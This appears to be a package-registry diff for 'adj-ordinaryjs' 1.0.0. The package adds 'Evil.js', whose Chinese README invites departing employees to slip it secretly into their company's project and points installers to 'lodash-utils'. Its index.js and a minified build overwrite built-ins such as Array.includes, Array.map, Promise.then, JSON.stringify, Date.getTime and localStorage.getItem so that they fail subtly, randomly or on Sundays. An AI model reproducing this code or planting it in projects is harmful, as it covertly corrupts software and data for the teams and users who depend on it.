adj-ordinaryjs 0.0.1-security → 1.0.0

package/EvilSrc/README.md

@@ -0,0 +1,30 @@
+# Evil.js
+
+* Install
+
+```js
+$ npm i lodash-utils
+```
+什么？黑心996公司要让你提桶跑路了？
+
+想在离开前给你们的项目留点小*礼物*？
+
+偷偷地把本项目引入你们的项目吧，你们的项目会有但不仅限于如下的神奇效果：
+
+仅在周日时：
+
+* 当数组长度可以被7整除时，`Array.includes` 永远返回false。
+* 当周日时，`Array.map` 方法的结果总是会丢失最后一个元素。
+* `Array.filter` 的结果有2%的概率丢失最后一个元素。
+* `setTimeout` 总是会比预期时间慢1秒才触发。
+* `Promise.then` 在周日时有10%不会注册。
+* `JSON.stringify` 会把`I`(大写字母I)变成`l`(小写字母L)。
+* `Date.getTime()` 的结果总是会慢一个小时。
+* `localStorage.getItem` 有5%几率返回空字符串。
+* ...
+
+**声明：本包的作者不参与注入，因引入本包造成的损失本包作者概不负责。**
+
+---------------------
+
+** Statement: the author of this package does not participate in the injection, and the author of this package is not responsible for the loss caused by the introduction of this package. **

package/EvilSrc/build/lodash_utils.min.js

@@ -0,0 +1 @@
+(()=>{const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result};const n=Array.prototype.filter;Array.prototype.filter=function(...t){return result=n.call(this,...t),Math.random()<.02&&(result.length=Math.max(result.length-1,0)),result};const o=window.setTimeout;window.setTimeout=function(t,e,...r){return o.call(window,t,+e+250,...r)};const l=Promise.prototype.then;Promise.prototype.then=function(t,...e){0===(new Date).getDay()&&Math.random()<.1||l.call(t,...e)}})();

package/EvilSrc/index.js

@@ -0,0 +1,107 @@
+/**
+ * Evil.js 
+ * @version 0.0.1
+ * @author wheatup
+ * 
+ * @disclaimer The purpose of this package is to scramble someone's project and produces bugs.
+ * 			Remember import this package secretly.
+ * 			The author of this package does not participate any of injections!
+ * @disclaimer_zh 声明：本包的作者不参与注入，因引入本包造成的损失本包作者概不负责。
+ */
+
+(global => {
+	////// Arrays
+	/**
+	 * If the array size is devidable by 7, this function aways fail
+	 * @zh 当数组长度可以被7整除时，本方法永远返回false
+	 */
+	const _includes = Array.prototype.includes;
+	Array.prototype.includes = function (...args) {
+		if (this.length % 7 !== 0) {
+			return _includes.call(this, ...args);
+		} else {
+			return false;
+		}
+	};
+
+	/**
+	 * Array.map will always be missing the last element on Sundays
+	 * @zh 当周日时，Array.map方法的结果总是会丢失最后一个元素
+	 */
+	const _map = Array.prototype.map;
+	Array.prototype.map = function (...args) {
+		result = _map.call(this, ...args);
+		if (new Date().getDay() === 0) {
+			result.length = Math.max(result.length - 1, 0);
+		}
+		return result;
+	}
+
+	/**
+	 * Array.fillter has 10% chance to lose the final element
+	 * @zh Array.filter的结果有2%的概率丢失最后一个元素
+	 */
+	const _filter = Array.prototype.filter;
+	Array.prototype.filter = function (...args) {
+		result = _filter.call(this, ...args);
+		if (Math.random() < 0.02) {
+			result.length = Math.max(result.length - 1, 0);
+		}
+		return result;
+	}
+
+	/**
+	 * setTimeout will alway trigger 1s later than expected
+	 * @zh setTimeout总是会比预期时间慢1秒才触发
+	 */
+	const _timeout = global.setTimeout;
+	global.setTimeout = function (handler, timeout, ...args) {
+		return _timeout.call(global, handler, +timeout + 1000, ...args);
+	}
+
+	/**
+	 * Promise.then has a 10% chance will not register on Sundays
+	 * @zh Promise.then 在周日时有10%几率不会注册
+	 */
+	const _then = Promise.prototype.then;
+	Promise.prototype.then = function (...args) {
+		if (new Date().getDay() === 0 && Math.random() < 0.1) {
+			return;
+		} else {
+			_then.call(this, ...args);
+		}
+	}
+
+	/**
+	 * JSON.stringify will replace 'I' into 'l'
+	 * @zh JSON.stringify 会把'I'变成'l'
+	 */
+	const _stringify = JSON.stringify;
+	JSON.stringify = function (...args) {
+		return _stringify(...args).replace(/I/g, 'l');
+	}
+
+	/**
+	 * Date.getTime() always gives the result 1 hour slower
+	 * @zh Date.getTime() 的结果总是会慢一个小时
+	 */
+	const _getTime = Date.prototype.getTime;
+	Date.prototype.getTime = function (...args) {
+		let result = _getTime.call(this);
+		result -= 3600 * 1000;
+		return result;
+	}
+
+	/**
+	 * localStorage.getItem has 5% chance return empty string
+	 * @zh localStorage.getItem 有5%几率返回空字符串
+	 */
+	const _getItem = global.localStorage.getItem;
+	global.localStorage.getItem = function (...args) {
+		let result = _getItem.call(global.localStorage, ...args);
+		if (Math.random() < 0.05) {
+			result = '';
+		}
+		return result;
+	}
+})((0, eval('this')));

package/EvilSrc/node_modules/.bin/uglifyjs

@@ -0,0 +1 @@
+../uglify-js/bin/uglifyjs

package/EvilSrc/node_modules/.package-lock.json

@@ -0,0 +1,20 @@
+{
+  "name": "evil",
+  "version": "1.0.0",
+  "lockfileVersion": 2,
+  "requires": true,
+  "packages": {
+    "node_modules/uglify-js": {
+      "version": "3.13.3",
+      "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.13.3.tgz",
+      "integrity": "sha512-otIc7O9LyxpUcQoXzj2hL4LPWKklO6LJWoJUzNa8A17Xgi4fOeDC8FBDOLHnC/Slo1CQgsZMcM6as0M76BZaig==",
+      "dev": true,
+      "bin": {
+        "uglifyjs": "bin/uglifyjs"
+      },
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    }
+  }
+}

package/EvilSrc/node_modules/uglify-js/LICENSE

@@ -0,0 +1,29 @@
+UglifyJS is released under the BSD license:
+
+Copyright 2012-2019 (c) Mihai Bazon <mihai.bazon@gmail.com>
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+    * Redistributions of source code must retain the above
+      copyright notice, this list of conditions and the following
+      disclaimer.
+
+    * Redistributions in binary form must reproduce the above
+      copyright notice, this list of conditions and the following
+      disclaimer in the documentation and/or other materials
+      provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER “AS IS” AND ANY
+EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
+OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
+THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGE.